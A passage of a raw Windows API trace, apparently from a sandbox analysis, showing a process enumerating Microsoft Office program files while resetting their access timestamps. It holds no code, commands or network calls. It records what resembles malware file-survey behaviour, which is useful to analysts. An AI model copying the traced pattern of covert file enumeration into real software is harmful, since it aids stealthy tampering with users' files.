ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 0 [0074.927] GetLastError () returned 0x12 [0074.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0074.927] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0074.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0074.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0074.928] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0074.928] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 1 [0074.928] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 0 [0074.928] GetLastError () returned 0x12 [0074.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa751b0) returned 1 [0074.928] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0074.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75128) returned 1 [0074.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa750a0) returned 1 [0074.928] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0074.928] GetLastError () returned 0x12 [0074.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0074.928] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0074.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25630) returned 1 [0074.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0074.929] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0074.929] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1 [0074.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0074.929] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0074.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xaa63e8 [0074.929] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xaa63e8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xaa63e8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0074.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa63e8) returned 1 [0074.930] NtClose (Handle=0x168) returned 0x0 [0074.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0074.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0074.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25630 [0074.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0074.930] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0074.930] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.027] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0075.027] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0075.027] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0075.027] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0075.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.028] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.028] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.029] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="")) returned 1 [0075.029] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.029] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x452988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.030] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0075.030] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0075.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.030] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0075.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.030] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0075.031] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7f168 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0075.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.031] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7f188 [0075.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0075.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.032] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7f1a8 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94b18 [0075.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.032] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.032] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0075.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.033] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7f1c8 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94ba0 [0075.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.033] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="")) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.033] RtlFreeHeap 